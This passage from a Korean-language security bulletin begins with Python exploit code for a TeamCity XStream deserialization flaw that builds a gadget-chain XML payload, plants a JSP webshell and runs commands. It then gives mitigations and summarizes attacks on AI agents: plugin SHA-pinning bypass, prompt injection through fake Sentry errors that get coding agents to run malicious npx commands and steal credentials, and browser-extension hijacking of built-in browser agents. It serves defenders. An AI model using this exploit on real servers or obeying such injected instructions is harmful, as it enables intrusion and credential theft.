              java.nio.file.Path.of(
                application.getRealPath({java_string(jsp_path)})
              )
            );
            java.lang.Runtime.getRuntime().exec({java_string(command)});
            out.print({java_string(response_token)});
          }}
        %>
    """
    return " ".join(
        line.strip() for line in textwrap.dedent(scriptlet).splitlines()
        if line.strip()
    )


def build_payload(webroot_relative: str, command: str) -> tuple[bytes, str, bytes]: # Gadget Chain이 포함된 XML 생성
    if not webroot_relative or any(
        character in webroot_relative for character in "\x00\r\n"
    ):
        raise ValueError("webroot-relative must be a non-empty single line")
    if not command or any(character in command for character in "\x00\r\n"):
        raise ValueError("cmd must be a non-empty single line")

    (
        file_id,
        guard,
        response_token,
        database_name,
        table_id,
        column_id,
        *map_keys,
    ) = random_tokens(9)

    filename = f"{file_id}.jspws"
    jsp_uri = f"/{filename}"
    normalized_webroot = webroot_relative.replace("\\", "/").rstrip("/")
    if not normalized_webroot:
        raise ValueError("webroot-relative must identify a directory")
    output_path = f"{normalized_webroot}/{filename}"

    table_name = f"T{table_id.upper()}"
    column_name = f"C{column_id.upper()}"
    jsp = build_jsp_scriptlet(jsp_uri, guard, response_token, command)
    init_sql = (
        f"CREATE TABLE IF NOT EXISTS {table_name}({column_name} VARCHAR(4000))",
        f"INSERT INTO {table_name} VALUES ({sql_string(jsp)})",
        f"SCRIPT {sql_string(output_path)}",
    )

    payload = f"""<?xml version="1.0" encoding="UTF-8"?>
<linked-hash-map>
  <entry>
    <string>{map_keys[0]}</string>
    <jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException>
      <outer-class>
        <myHSQLStorage>
          <myDataSource>
            <defaultTransactionIsolation>-1</defaultTransactionIsolation>
            <cacheState>true</cacheState>
            <driverClassName>org.hsqldb.jdbc.JDBCDriver</driverClassName>
            <lifo>true</lifo>
            <maxTotal>8</maxTotal>
            <maxIdle>8</maxIdle>
            <minIdle>0</minIdle>
            <initialSize>0</initialSize>
            <maxWaitMillis>-1</maxWaitMillis>
            <poolPreparedStatements>false</poolPreparedStatements>
            <clearStatementPoolOnReturn>false</clearStatementPoolOnReturn>
            <maxOpenPreparedStatements>-1</maxOpenPreparedStatements>
            <testOnCreate>false</testOnCreate>
            <testOnBorrow>true</testOnBorrow>
            <testOnReturn>false</testOnReturn>
            <timeBetweenEvictionRunsMillis>-1</timeBetweenEvictionRunsMillis>
            <numTestsPerEvictionRun>3</numTestsPerEvictionRun>
            <minEvictableIdleTimeMillis>1800000</minEvictableIdleTimeMillis>
            <softMinEvictableIdleTimeMillis>-1</softMinEvictableIdleTimeMillis>
            <evictionPolicyClassName>org.apache.commons.pool2.impl.DefaultEvictionPolicy</evictionPolicyClassName>
            <testWhileIdle>false</testWhileIdle>
            <password/>
            <url>{xml_text(f'jdbc:hsqldb:mem:{database_name}')}</url>
            <userName>SA</userName>
            <validationQueryTimeoutSeconds>-1</validationQueryTimeoutSeconds>
            <connectionInitSqls>
              <string>{xml_text(init_sql[0])}</string>
              <string>{xml_text(init_sql[1])}</string>
              <string>{xml_text(init_sql[2])}</string>
            </connectionInitSqls>
            <accessToUnderlyingConnectionAllowed>false</accessToUnderlyingConnectionAllowed>
            <maxConnLifetimeMillis>-1</maxConnLifetimeMillis>
            <logExpiredConnections>true</logExpiredConnections>
            <autoCommitOnReturn>true</autoCommitOnReturn>
            <rollbackOnReturn>true</rollbackOnReturn>
            <fastFailValidation>false</fastFailValidation>
            <connectionProperties/>
            <closed>false</closed>
          </myDataSource>
          <myStopped>false</myStopped>
          <myDatabaseOpen>false</myDatabaseOpen>
        </myHSQLStorage>
      </outer-class>
    </jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException>
  </entry>

  <entry>
    <string>{map_keys[1]}</string>
    <freemarker.ext.beans.HashAdapter>
      <wrapper>
        <sharedIntrospectionLock/>
        <classIntrospector>
          <exposureLevel>0</exposureLevel>
          <exposeFields>false</exposeFields>
          <treatDefaultMethodsAsBeanMembers>false</treatDefaultMethodsAsBeanMembers>
          <incompatibleImprovements>
            <major>2</major>
            <minor>3</minor>
            <micro>0</micro>
            <intValue>2003000</intValue>
            <calculatedStringValue>2.3.0</calculatedStringValue>
            <hashCode>0</hashCode>
          </incompatibleImprovements>
          <hasSharedInstanceRestrictions>false</hasSharedInstanceRestrictions>
          <shared>false</shared>
          <sharedLock reference="../../sharedIntrospectionLock"/>
          <cache/>
          <cacheClassNames/>
          <classIntrospectionsInProgress/>
          <modelFactories/>
          <clearingCounter>0</clearingCounter>
        </classIntrospector>
        <falseModel>
          <object reference="../../../../../entry/jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException/outer-class/myHSQLStorage/myDataSource"/>
          <wrapper reference="../.."/>
          <value>false</value>
        </falseModel>
        <writeProtected>false</writeProtected>
        <defaultDateType>0</defaultDateType>
        <methodsShadowItems>true</methodsShadowItems>
        <simpleMapWrapper>false</simpleMapWrapper>
        <strict>false</strict>
        <preferIndexedReadMethod>true</preferIndexedReadMethod>
        <incompatibleImprovements reference="../classIntrospector/incompatibleImprovements"/>
      </wrapper>
      <model reference="../wrapper/falseModel"/>
    </freemarker.ext.beans.HashAdapter>
  </entry>

  <entry>
    <string>{map_keys[2]}</string>
    <set>
      <org.apache.commons.collections.keyvalue.TiedMapEntry>
        <map class="freemarker.ext.beans.HashAdapter" reference="../../../../entry[2]/freemarker.ext.beans.HashAdapter"/>
        <key class="string">connection</key>
      </org.apache.commons.collections.keyvalue.TiedMapEntry>
    </set>
  </entry>

</linked-hash-map>
""".encode("utf-8")
    return payload, jsp_uri, response_token.encode("utf-8")
 
    ...

    try:
        status, headers, body = request( # Agent 등록 → TeamCity-AgentSessionId 획득
            f"{base}/app/agents/v1/register",
            timeout=args.http_timeout,
            body=registration,
            headers={"Content-Type": "application/xml"},
        )
        session = headers.get("teamcity-agentsessionid")
        ...

        command_status, _, command_body = request( # 악성 XML 전달 → XStream 역직렬화 및 가젯 체인 실행
            f"{base}/app/agents/v1/commands/error",
            timeout=args.http_timeout,
            body=payload,
            headers={
                "Content-Type": "application/xml",
                "TeamCity-AgentSessionId": session,
                "TeamCity-AgentCommandId": command_id,
            },
        )

         # 생성된 JSPWS 요청 → JSP 실행
        jsp_status, _, jsp_body = request(
            f"{base}{jsp_path}", timeout=args.http_timeout
        )
        ...

3. 대응방안

- 벤더사 제공 보안 업데이트 적용 [7][8]

> NoTypePermission.NONE으로 기존 권한을 초기화한 후 Allowlist를 적용

> 업데이트가 불가한 경우 공식 Security Patch Plugin을 적용 [9]

- TeamCity 서버 프로세스에 최소 권한 부여 및 서버 분리

- TeamCity 서버가 인터넷에 직접 노출되지 않도록 접근 제한

- 신뢰 가능한 네트워크에서만 TeamCity 서버에 접근 가능하도록 방화벽 또는 ACL 구현

- TeamCity Agent Polling 관련 엔드포인트로 유입되는 비정상 요청과 XML 기반 역직렬화 공격 패턴등을 WAF 모니터링

- 서버 로그 점검

> com.thoughtworks.xstream.converters.ConversionException, com.thoughtworks.xstream.security.ForbiddenClassException 등 역직렬화 과정과 관련된 예외

> 의심스러운 요청, 비정상적인 JSP 파일 생성 여부 점검

4. 참고

[1] https://nvd.nist.gov/vuln/detail/cve-2026-63077
[2] https://www.rapid7.com/blog/post/ra-unauthenticated-rce-in-jetbrains-teamcity-cve-2026-63077/
[3] https://x-stream.github.io/
[4] https://x-stream.github.io/javadoc/com/thoughtworks/xstream/XStream.html#allowTypeHierarchy-java.lang.Class-
[5] https://kr.linkedin.com/pulse/deserialization-what-heck-actually-gadgetchain-florian-walter-gylcf?tl=ko
[6] https://github.com/sfewer-r7/CVE-2026-63077
[7] https://blog.jetbrains.com/teamcity/2026/07/cve-2026-63077/
[8] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=1&bbsId=B0000133&searchWrd=jetb&menuNo=205020&pageIndex=1&categoryCode=&nttId=72155
[9] https://blog.jetbrains.com/teamcity/2026/07/cve-2026-63077/#mitigation-option-2-apply-the-security-patch-plugin
[10] https://www.dailysecu.com/news/articleView.html?idxno=208600

1. Plugin4Shell

- Claude Code, OpenAI Codex, GitHub Copilot, Gemini CLI 등은 AI 코딩 에이전트로, SHA pinning 방식으로 사용 버전을 고정

> 특정 시점에 검토한 플러그인의 깃 커밋 해시(40자 16진수)로 고정하여, 고정 이후 코드가 변경되어도 고정된 버전만 실행 가능하며, 무결성을 보장

- 에이전트가 고정된 커밋을 내려받은 뒤 내려받은 코드가 지정된 커밋과 일치하는지 검증하지 않아, 악성코드 실행이 가능한 Plugin4Shell 취약점 발견 [1][2][3]

> Claude Code, OpenAI Codex는 설치된 플러그인을 백그라운드에서 업데이트하는 것이 기본 설정이어서, 이미 설치한 신뢰 플러그인이 설치 절차 또는 알림 없이 교체될 수 있음

> 단, 해당 공격은 공격자가 플러그인 저장소를 완전히 통제해야 성립 가능

구분	설명
정상 플러그인 등록 후 악성 코드로 변경	① Claude Code, Codex, GitHub Copilot  ⒜ 정상 플러그인 등록    - 공격자는 정상적인 플러그인을 마켓플레이스에 등록하고 SHA Commit A 지정  ⒝ 사용자 배포 및 신뢰 확보    - 사용자들이 마켓플레이스를 통해 해당 플러그인을 설치 및 실행  ⒞ 버전 업데이트    - 공격자는 버전 업데이트를 제출하며, 마켓플레이스는 새로운 SHA Commit B 지정  ⒟ 악성 브랜치 생성 및 주입    - 공격자는 해당 저장소에서 SHA Commit B와 동일한 이름을 가진 악성 브랜치를 생성    - 악성 브렌치를 저장소의 기본 브랜치로 지정     ※ 이름이 유효한 참조(Ref/Branch)이자 객체 ID(Commit SHA) 모두에 해당할 때,           Git은 참조(Branch)를 우선시하며 refname is ambiguous 경고만 출력한 채          브랜치를 체크아웃     ※ GitHub은 40자리 Hex 브랜치 이름을 거부하지만,           Bitbucket이나 자체 호스팅(Self-hosted) Git 서버는 이를 허용          Anthropic 공식 문서에서도 Bitbucket 및 Self-hosted Git을          유효한 마켓플레이스 백엔드로 명시하고 있어 공격이 유효  ⒠ 자동 업데이트를 통한 악성코드 내려받기    - AI 에이전트의 백그라운드 업데이트 동작을 통해 악성 브랜치를 내려받아 실행    - 실제 내려받은 Commit이 고정된 SHA와 일치하는지 검증하지 않아 악성 브랜치의 내용이 설치·실행됨    - 별도 동작 없이 백그라운드 업데이트 과정에서 공격이 수행되어 Zero-Click RCE로 이어질 수 있음 ② Gemini CLI  ⒜ Gemini CLI의 설치 세 단계 예시     git clone --depth 1 <plugin repo> ./  : 지정한 저장소에서 최신 커밋 1개만 복제     git fetch origin <COMMIT_SHA>     : 고정된 SHA를 가져옴     git checkout FETCH_HEAD             : FETCH_HEAD를 checkout  ⒝ 공격자가 자신의 저장소에 FETCH_HEAD를 이름으로 가지는 악성 브랜치 생성 및 기본 브랜치로 지정  ⒞ git checkout FETCH_HEAD 명령 실행으로 악성 브랜치를 받아    - 저장소의 기본 브랜치 이름 자체가 FETCH_HEAD이면, checkout은 해당 브랜치로 해석   ⒟ 악성 플러그인 실행     - 실제 내려받은 Commit이 고정된 SHA와 일치하는지 검증하지 않아 악성 플러그인이 실행
플러그인 저장소 탈취	- 공격자가 다른 사람의 플러그인 저장소를 탈취한 뒤 Plugin4Shell를 통해 악성 버전 강제 설

- 벤더사 대응 및 대응 방안

2. Agentjacking

- AI 코딩 에이전트의 신뢰 메커니즘을 악용해 악성 코드를 실행하는 Agentjacking 공격 기법 발견 [4][5]

구분	설명
공격 과정	① Sentry DSN (Data Source Name) 키 확보 - Sentry : 오류 추적 및 겅능 모니터링을 제공하는 APM (Application Performance Monitoring) 플랫폼 - Sentry DSN : 애플리케이션이 에러 이벤트를 보낼 프로젝트를 찾도록 지정해주는 값 [6] > 해당 값이 같으면 누구나 임의의 에러 이벤트를 전송할 수 있음 > 웹 사이트 소스 코드, HTTP Body 등에서 쉽게 획득 가능 ② 가짜 에러 요청 전송 - Sentry MCP 서버가 AI 에이전트에 반환하는 정상 템플릿과 동일한 형식의 가짜 오류 페이로드 POST 전송 - ## Resolution 섹션에 악성 npx 명령을 삽입 ③ 악성 명령 실행 - 개발자가 오류 분석 등의 요청할 경우, 에이전트는 MCP를 통해 오류 이벤트 조회 및 악성 명령 실행 - 환경 변수, AWS 키, 깃허브 토큰, Git 자격증명, Sentry 인증 토큰 등 민감정보 탈취
대응 방안	- DSN 키 교체 및 보안 강화 - 에러 로그 직접 검토 - MCP 외부 노출 점 - AI 에이전트 실행 가이드라인 수립 - AI 시스템과 개발 환경 간 격리 및 접근 통제 강화
참고	- EDR, WAF, IAM, VPN, 방화벽 등 기존 보안 통제 장치 모두 우회 > 공격 과정의 모든 요청이 정상적 DSN 인증을 기반으로 하며, AI 에이전트가 자체적으로 명령을 실행하기 때문에 승인된 의도(Authorized Intent Chain)로 분류 - Sentry는 문제를 인정했지만 플랫폼 차원에서 방어하기가 기술적으로 어렵다는 입장 > 외부 입력을 MCP 도구로 전달하는 모든 AI 에이전트 생태계에서 발생할 수 있는 구조적 문제

3. BragJack

- Chrome, Edge, Perplexity Comet, Opera Neon, Claude in Chrome 브라우저의 내장 AI Agent를 크롬 확장프로그램 하나로 탈취할 수 있는 BragJack 공격 기법 발견 [7][8][9]

> 브라우저 내장 AI Agent는 사용자 명령을 이해하고 판단하는 제어부(Brain)와 클릭, 파일 접근, 캡처 등 브라우저 기능은 실행부(Body)로 구분

> 공격자는 DiNneR Serving 기법을 통해 보안 헤더를 조작하고, 악성 JavaScript로 리다이렉트하여 AI Agent에 악성 명령 전달

구분	설명
공통	- DiNneR Serving 기법을 통해 보안 헤더를 조작하고, 정상 JavaScript를 악성 JavaScript로 리다이렉트 > DNR(Declarative Net Request, 선언형 네트워크 요청) : 확장 프로그램이 브라우저의 네트워크 요청을 가로채고, 수정하거나 차단할 수 있도록 돕는 API  [10] > DNR을 악용해 요청을 가로채고, 선언된 규칙을 통해 보안 헤더를 조작 및 정상 JavaScript를 악성 JavaScript로 리다이렉트 - declarativeNetRequest 및 https://*/* 권한을 가진 악성 확장 프로그램 이용 {   "manifest_version": 3,   "name": "BragJack",   "version": "1.0",   "permissions": ["declarativeNetRequest"], - 확장 프로그램이 선언적 규칙을 통해 네트워크 요청을 차단 또는 수정할 수 있는 권한 부여   "host_permissions": ["https://*/*"], - 확장 프로그램이 모든 HTTPS 웹사이트에 대한 접근 권한 허용   "declarative_net_request": {     "rule_resources": [       { "id": "glic", "enabled": true, "path": "glic_rules.json" },       { "id": "comet", "enabled": true, "path": "comet_rules.json" },       { "id": "neon", "enabled": true, "path": "neon_rules.json" },       { "id": "egde", "enabled": true, "path": "egde_rules.json" },       { "id": "claude", "enabled": true, "path": "claude_rules.json" },     ]   } }
브라우저별 익스플로잇	① Chrome Gemini Live (CVE-2026-0628, CVSS: 8.8) [11]  ⒜ AI Agent 구조   - 브라우저 내부의 chrome://glic Body와 WebView 기반 gemini.google.com Brain 구조   - 정상적인 경우 일반 확장 프로그램은 chrome:// URL에 접근할 수 없음  ⒝ DNR을 이용한 우회   - 불필요한 정상 JavaScript를 공격자가 제어하는 JavaScript로 리다이렉션   - content-security-policy 헤더를 제거하는 등 보안 헤더를 수정   ② Microsoft Edge Actions (CVE-2026-55945, CVSS: 4.2) [12]  ⒜ AI Agent 구조   - chrome:// URL기반 Body와 iFrame 기반 copilot.microsoft.com Brain 구조   - frame-ancestors를 통해 *.microsoft.com, *.bing.com를 제외한 임의 사이트에서 iFrame으로 로드되는 것을 차단  ⒝ CSP 우회   - frame-ancestors에 https://*.com를 추가하여 모든 웹사이트에서 삽입할 수 있도록 함  ⒞ Gesture Token 우회   - debugger 권한 설정을 통해 클릭/입력 이벤트를 생성해 실제 사용자 동작과 동일한 클릭 이벤트 발생  ⒟ Think / Do Race Condition   - Prompt를 처리하는 Think Mode(실제 Action 수행 제한)   - 실제 브라우저 작업을 수행하는 Do Mode(새로운 Prompt 입력 제한)   - Think Mode에서 악성 Prompt 전달 후 Agent가 Prompt를 처리하는 순간 Do Mode 전환 ③ Perplexity Comet  ⒜ AI Agent 구조   - 신뢰할 수 있는 웹사이트인 perplexity.ai에서만 명령을 받도록 설계   - perplexity.ai는 확장 프로그램이 실행되지 않도록 완전 차단  ⒝ Test 도메인 악용   - 다른 도메인과 달리 보안이 약한 testing.perplexity.com이 존재하며, 접근 시 perplexity.ai로 리다이렉션   - Location 헤더를 제거하는 DNR 규칙을 적용하여 testing.perplexity.com 로드 유지 ④ Opera Neon  ⒜ AI Agent 구조   - opera.com 도메인에서만 오는 요청을 수락하며, opera.com은 확장 프로그램이 코드 실행 가능  ⒝ DNR을 이용한 우회   - CSP 헤더를 제거하고, 백그라운드에 숨겨진 iFrame을 생성  ⒞ Prompt-Forcing   - 공격자가 직접 프롬프트에 악성 명령을 전달 ⑤ Claude in Chrome  ⒜ AI Agent 구조   - 자체가 확장 프로그램으로, claude.ai에 Content Script를 실행하여 Claude Side Panel과 통신  ⒝ DOM 조작   - data-task-prompt에 프롬프트를 삽입하고, click()이벤트를 발생시켜 프롬프트 전달   - debugger 권한을 이용하여 사용자 Gesture가 필요한 경우 이를 우회

- 대응방안

> 브라우저 확장프로그램 허용목록 운영

> 불필요한 확장프로그램 설치 차단

> AI 에이전트의 로컬 파일 접근 최소화

> 카메라·마이크 권한 제한

> 메일·문서·업무용 서비스 접근권한 최소화

> 크롬·엣지 등 브라우저 최신 버전 유지

4. 참고

[1] https://www.air.security/blog-posts/plugin4shell
[2] https://www.skshieldus.com/security-insights/trends/%60eqstnow-plugin4shell-ai-plugin-bypass
[3] https://www.dailysecu.com/news/articleView.html?idxno=208552
[4] https://tenetsecurity.ai/blog/agentjacking-coding-agents-with-fake-sentry-errors/
[5] https://www.boannews.com/news/articleView.html?idxno=144117
[6] https://docs.sentry.io/concepts/key-terms/dsn-explainer/
[7] https://forever.security/blog/bragjack-attack-hijacks-every-browser-agent

[8] https://forever.security/blog/bragjack-hijacking-5-browsers-via-built-in-ai-assistants
[9] https://www.dailysecu.com/news/articleView.html?idxno=208558
[10] https://developer.chrome.com/docs/extensions/reference/api/declarativeNetRequest?hl=ko
[11] https://nvd.nist.gov/vuln/detail/cve-2026-0628
[12] https://nvd.nist.gov/vuln/detail/cve-2026-55945

보안뉴스

[1] https://www.dailysecu.com/news/articleView.html?idxno=208612
[2] https://blog.cloudflare.com/containers-cross-tenant-vulnerability/

보안뉴스

[1] https://www.boannews.com/news/articleView.html?idxno=146061
[2] https://www.dailysecu.com/news/articleView.html?idxno=208614
[3] https://nvd.nist.gov/vuln/detail/cve-2026-35273
[4] https://cloud.google.com/blog/topics/threat-intelligence/shinyhunters-renewed-mass-exploitation-campaign-targeting-oracle-peoplesoft?hl=en
[5] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&menuNo=205020&nttId=72096

보안뉴스

[1] https://www.dailysecu.com/news/articleView.html?idxno=208602
[2] https://www.threatdown.com/blog/carbonato/